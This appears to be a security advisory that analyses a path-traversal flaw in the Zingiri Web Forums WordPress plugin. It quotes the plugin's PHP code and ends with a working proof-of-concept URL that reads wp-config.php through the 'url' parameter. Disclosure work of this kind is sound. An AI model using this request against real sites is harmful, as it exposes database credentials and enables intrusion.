Advisory
Analysis of vulnerability
The Zingiri Web Forums for WordPress writes our a header for the forum in forum.php through adding an action to wp_head.
44 |
add_action('wp_head','zing_forum_header'); |
686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 |
function zing_forum_header() { global $zing_forum_content; global $zing_forum_menu; $output=zing_forum_output("content"); zing_integrator_cut($output,'<div id="footer">','</div>'); //remove footer zing_integrator_cut($output,'<span class="forgot_password">','</span>'); $zing_forum_content=$output; echo '<script type="text/javascript" language="javascript">'; echo "var zing_forum_url='".ZING_FORUM_URL."ajax/';"; echo "var zing_forum_index='".get_option('home')."/index.php?';"; echo "function zing_forum_url_ajax(s) { return zing_forum_url+s; }"; echo '</script>'; echo '<link rel="stylesheet" type="text/css" href="' . ZING_FORUM_URL . 'zing.css" media="screen" />'; } |
So on each load of the WordPress blog it will call into zing_forum_header. The first call it makes it into zing_forum_output, which is rather long. I’ve highlighted two areas:
456 457 458 459 460 461 462 463 464 465 466 467 468 |
function zing_forum_output($process) { global $post,$wpdb,$zing_forum_loaded,$zing_forum_to_include,$zing_forum_mode; $postVar=array(); switch ($process) { case "content": if (isset($post)) $cf=get_post_custom($post->ID); if (isset($_GET['zforum'])) { $zing_forum_to_include=$_GET['zforum']; $zing_forum_mode="forum"; } |
We can affect the value of $zing_forum_to_include through the zforum GET variable. This is then used in a big else if statement. Here is the block of code that is executed if we set that to css:
541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 |
} elseif ($zing_forum_to_include=='css') { ob_end_clean(); if (isset($_GET['stylesheet'])) $key=$_GET['stylesheet']; else $key=$_GET['url']; if (isset($_SESSION['ccforum']['stylesheet'][$key])) { $output=$_SESSION['ccforum']['stylesheet'][$key]; } else { if (isset($_GET['stylesheet'])) { $http=zing_forum_http("mybb",'css.php',""); $news = new zHttpRequest($http,'zingiri-forum'); if (!$news->curlInstalled()) return "cURL not installed"; elseif (!$news->live()) return "A HTTP Error occured"; $output=$news->DownloadToString(); $output=str_replace('url(images/','url('.ZING_MYBB_URL.'/images/',$output); } elseif ($_GET['url']) { $url=$_GET['url']; $output=file_get_contents(ZING_MYBB_DIR.'/cache/themes/'.$url); } $f[]='/^body.*{(.*?)/'; $r[]=' {$1'; $f[]='/.zingbody/'; $r[]=''; $f[]='/(.*?).{(.*?)/'; $r[]='.ccforum $1 {$2'; $f[]='/(.*?),(.*?).{(.*?)/'; $r[]='$1,.ccforum $2 {$3'; $f[]='/(.*?),(.*?),(.*?).{(.*?)/'; $r[]='$1,$2,.ccforum $3 {$4'; $output=preg_replace($f,$r,$output,-1,$count); if ($output) $_SESSION['ccforum']['stylesheet'][$key]=$output; } header("Content-type: text/css"); echo $output; die(); |
If we don’t set anything expect the “url” get variable, we can cause it to be fed into the file_get_contents call on line 554. We can abuse this to disclose the contents of the wp-config.php file like this:
1 |
http://192.168.80.130/wordpress/?zforum=css&url=../../../../../../wp-config.php |